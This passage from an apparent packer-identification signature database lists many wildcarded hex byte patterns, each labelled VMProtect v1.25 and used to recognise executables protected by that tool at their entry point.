?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 52 56 50 53 56 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 57 55 56 51 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 55 50 52 9C 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 53 53 50 9C 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 53 50 9C 57 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 51 9C 56 50 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 52 51 55 55 56 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 57 9C 56 50 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 52 53 51 55 9C 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 52 53 51 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 66 8B 55 02 F6 D0 F6 D2 83 ED 02 20 D0 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E8 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E0 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 53 55 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 51 9C 55 52 53 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 52 53 57 51 55 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 55 54 52 51 9C 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 51 52 55 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 56 50 51 53 52 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 56 53 57 51 52 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 51 9C 52 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 51 55 9C 50 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 0F B6 06 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 53 9C 57 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 53 57 51 55 56 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 55 50 9C 56 54 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 57 53 56 9C 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 53 56 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 56 50 9C 55 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 50 56 57 51 9C 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 9C 56 53 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 53 55 57 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 EE FC 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 53 9C 57 55 51 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 56 53 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5D 9D 5F 5A 5E 58 5B 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 55 51 56 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 9C 53 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 56 51 50 9C 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 50 50 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 50 53 51 56 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 53 52 57 55 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 51 9C 52 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 9C 56 53 55 57 54 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 55 56 57 51 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 50 51 57 53 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 9C 57 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 56 57 55 53 9C 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 51 50 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 50 55 9C 57 51 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 55 57 53 9C 50 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 9C 50 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5D 5B 58 9D 5A 5E 59 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 52 56 53 50 55 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 50 55 56 53 9C 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 57 50 53 55 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 53 50 56 57 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 9C 50 53 56 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 52 9C 57 54 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 57 50 9C 56 52 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 53 57 50 52 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 9C 50 55 53 54 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 52 55 50 9C 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 56 53 55 57 9C 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 50 57 53 56 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 56 57 53 9C 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 56 9C 57 53 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 9C 55 51 54 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 53 50 57 9C 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5B 5E 5D 5D 9D 5F 58 5B 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 56 55 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 9C 55 53 51 56 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 56 50 52 57 57 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 51 9C 55 54 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 53 50 55 51 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 50 56 53 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 52 50 51 57 56 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 9C 56 50 51 55 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 56 51 50 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52 51 9C 57 53 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 56 51 52 50 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 53 56 51 57 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 